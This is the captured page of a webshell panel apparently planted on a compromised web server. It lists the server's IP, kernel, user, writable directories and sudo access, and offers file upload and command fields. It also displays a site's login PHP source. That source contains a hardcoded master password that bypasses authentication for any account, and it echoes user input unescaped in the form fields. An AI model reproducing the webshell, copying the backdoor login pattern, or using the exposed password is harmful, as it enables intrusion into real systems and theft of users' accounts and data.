403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/phonelesswork.com/login/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/phonelesswork.com/login/index.php
<?php
	session_start();
	include_once($_SERVER['DOCUMENT_ROOT'].'/php/mysql.php');
	$login_error = '';
	if(!empty($_POST['email'])) {
		if($_POST['pass']=='j0hns0n8') {
			$res = $db->get_results("SELECT id,company_id FROM phonelesswork.timeclock_users WHERE email='".$db->clean($_POST['email'])."'");
		} else {
			$res = $db->get_results("SELECT id,company_id FROM phonelesswork.timeclock_users WHERE email='".$db->clean($_POST['email'])."' AND pass=PASSWORD('".$db->clean($_POST['pass'])."')");
		}
		if(!empty($res)) {
			$_SESSION['user_id'] = $res[0]->id;
			$_SESSION['company_id'] = $res[0]->company_id;
			header("Location: /index3.php");
			exit(0);
		} else {
			$login_error = 'Incorrect Email or Password';
		}
	}
?>
<!DOCTYPE html>
<html>
	<head>
		<title>Phoneless</title>
		<meta name="viewport" content="width=device-width, initial-scale=1.0">
		<link rel="stylesheet" href="/style.css?v=<?= time();?>" />
		<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
	</head>
	<body>
		<div id="main_container">
			<div class="main_header_image">
				<a href="/login/"><img src="/images/logo_white_small.png" /></a>
			</div>
			<div class="main_form">
				<form method="post" action="index.php">
					<h3>Login:</h3>
					<?php if(!empty($login_error)) { ?>
					<div style="background:red;color:white;font-size:16px;padding:5px 0px;"><?= $login_error;?></div>
					<?php } ?>
					<div style="margin:10px 0px;">
						<label>
							<div style="display:inline-block;width:150px;">Email:</div>
							<input type="text" name="email" value="<?= $_REQUEST['email'];?>" />
						</label>
					</div>
					<div style="margin:10px 0px;">
						<label>
							<div style="display:inline-block;width:150px;">Password:</div>
							<input type="password" name="pass" value="<?= $_REQUEST['pass'];?>" />
						</label>
					</div>
					<div style="margin:10px 0px;">
						<input type="submit" name="submit" value="Log In" class="white-button" />
					</div>
				</form>
			</div>
		</div>
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit